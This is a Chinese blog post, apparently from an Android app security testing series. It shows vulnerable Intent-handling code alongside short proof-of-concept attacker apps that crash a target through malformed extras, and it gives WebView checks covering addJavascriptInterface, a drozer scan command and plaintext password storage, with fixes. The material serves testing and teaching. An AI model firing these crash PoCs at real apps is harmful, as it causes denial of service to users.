哪些app便学软件测试,跟着大神学App安全测试,事半功倍(三)

IndexOutOfBoundsException异常导致的拒绝服务:

源于程序没有对 getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃。

漏洞应用代码片段:

Intent intent = getIntent();

ArrayList<Integer> intArray = intent.getIntegerArrayListExtra(“user_id”);

if (intArray != null) {

for (int i = 0; i < USER_NUM; i++) {

intArray.get(i);

} }

攻击应用代码片段:

Intent intent = new Intent();

intent.setClassName(“com.alibaba.jaq.pocforrefuseservice”,

“com.alibaba.jaq.pocforrefuseservice.MainActivity”);

ArrayList<Integer> user_id = new ArrayList<Integer>();

intent.putExtra(“user_id”, user_id);

startActivity(intent);

)

ClassNotFoundException异常导致的拒绝服务

源于程序没有无法找到从 getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。

漏洞应用代码片段:

Intent i = getIntent();

i.getSerializableExtra(“serializable_key”);

攻击应用代码片段:

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

Intent i = new Intent();

i.setClassName(“com.alibaba.jaq.pocforrefuseservice”,

“com.alibaba.jaq.pocforrefuseservice.MainActivity”);

i.putExtra(“serializable_key”, new SelfSerializableData());

startActivity(i);

}

static class SelfSerializableData implements Serializable {

private static final long serialVersionUID = 42L;

public SelfSerializableData() {

super();

} }

java我几乎不了解,这里先作记录,以后接触java代码审计的时候再来填坑。

webview 组件安全:

Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion是否大于等于 17。

WebView 代码执行检测:

android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强 JavaScript 的功能。但是系统并没有对注册 Java 类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何 Java 类,最终导致 JavaScript 能力的无限增强。攻击者利用该漏洞可以根据客户端执行任意代码。

Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion 、minSdkVersion(MobSF)。

若 targetsdkVersion>=19 或通过 minSdkVersion 进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用 addJavascriptInterface()。

drozer测试:

run scanner.misc.checkjavascriptbridge -a 包名

模块安装参考:

WebView 密码明文保存检测:

在使用 WebView 的过程中忽略了 WebView setSavePassword,当用户选择保存在WebView中输入的用户名和密码,则会被明文保存到应用数据目录的databases/webview.db 中。如果手机被 root 就可以获取明文保存的密码,造成用户的个人敏感数据泄露。

678552514eafee45c865c036b379a29e.png

搜”setSavePassword”,看是否显式设置为 false(在 webview 组件代码中测试)

修复建议:

使用WebView.getSettings().setSavePassword(false)来禁止保存密码

相关资源:倍速软件,可以加速观看过程_倍速播放学习-图像处理工具类资源…

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2021年6月22日
下一篇 2021年6月22日

相关推荐